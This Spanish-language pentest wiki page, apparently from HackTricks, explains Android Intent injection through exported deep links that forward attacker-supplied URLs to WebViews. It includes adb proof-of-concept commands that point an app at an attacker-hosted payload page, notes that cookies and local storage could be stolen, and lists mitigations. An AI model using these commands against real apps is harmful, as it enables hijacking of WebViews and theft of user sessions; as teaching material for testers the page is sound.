# Intent Injection

{{#include ../../banners/hacktricks-training.md}}

La inyección de intentos abusa de componentes que aceptan Intents controlados por el atacante o datos que luego se convierten en Intents. Dos patrones muy comunes durante las pruebas de penetración de aplicaciones Android son:

- Pasar extras elaborados a Activities/Services/BroadcastReceivers exportados que luego se reenvían a componentes privilegiados y no exportados.
- Activar enlaces profundos EXPORTADOS VIEW/BROWSABLE que reenvían URLs controladas por el atacante a WebViews internas u otros sumideros sensibles.

## Enlaces profundos → sumidero WebView (inyección de parámetros URL)

Si una aplicación expone un enlace profundo de esquema personalizado como:
```text
myscheme://com.example.app/web?url=<attacker_url>
```
y la Activity receptora reenvía el parámetro de consulta `url` a un WebView, puedes forzar a la aplicación a renderizar contenido remoto arbitrario en su propio contexto de WebView.

PoC a través de adb:
```bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact
- HTML/JS se ejecuta dentro del perfil WebView de la aplicación.
- Si JavaScript está habilitado (por defecto o debido a verificaciones desordenadas), puedes enumerar/utilizar cualquier objeto expuesto `@JavascriptInterface`, robar cookies/local storage de WebView y pivotar.

Ver también:

{{#ref}}
webview-attacks.md
{{#endref}}

## Error de orden de verificaciones que habilita JavaScript

Un error recurrente es habilitar JavaScript (u otras configuraciones permisivas de WebView) antes de que finalice la lista blanca/verificación de la URL. Si los ayudantes tempranos aceptan tu enlace profundo y el WebView se configura primero, tu carga final ocurre con JavaScript ya habilitado, incluso si las verificaciones posteriores son defectuosas o demasiado tarde.

Qué buscar en el código decompilado:
- Múltiples ayudantes que analizan/dividen/reconstruyen la URL de manera diferente (normalización inconsistente).
- Llamadas a `getSettings().setJavaScriptEnabled(true)` antes de la última verificación de lista blanca de host/ruta.
- Un pipeline como: parsear → validar parcialmente → configurar WebView → verificar final → loadUrl.

Mitigaciones
- Canonizar una vez y validar estrictamente; fallar cerrado.
- Solo habilitar JavaScript después de que todas las verificaciones pasen y justo antes de cargar contenido de confianza.
- Evitar exponer puentes a orígenes no confiables.

## Otras primitivas clásicas de inyección de Intent

- startActivity/sendBroadcast utilizando extras de `Intent` proporcionados por el atacante que luego son reanalizados (`Intent.parseUri(...)`) y ejecutados.
- Componentes proxy exportados que reenvían Intents a componentes sensibles no exportados sin verificaciones de permiso.

## Referencias

- [Android – Acceso a componentes protegidos por la aplicación](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
- [Cadena de explotación del Samsung S24 Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Irlanda 2024 – Cadena de ataque del Samsung S24 (documento técnico)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Video de demostración](https://www.youtube.com/watch?v=LAIr2laU-So)

{{#include ../../banners/hacktricks-training.md}}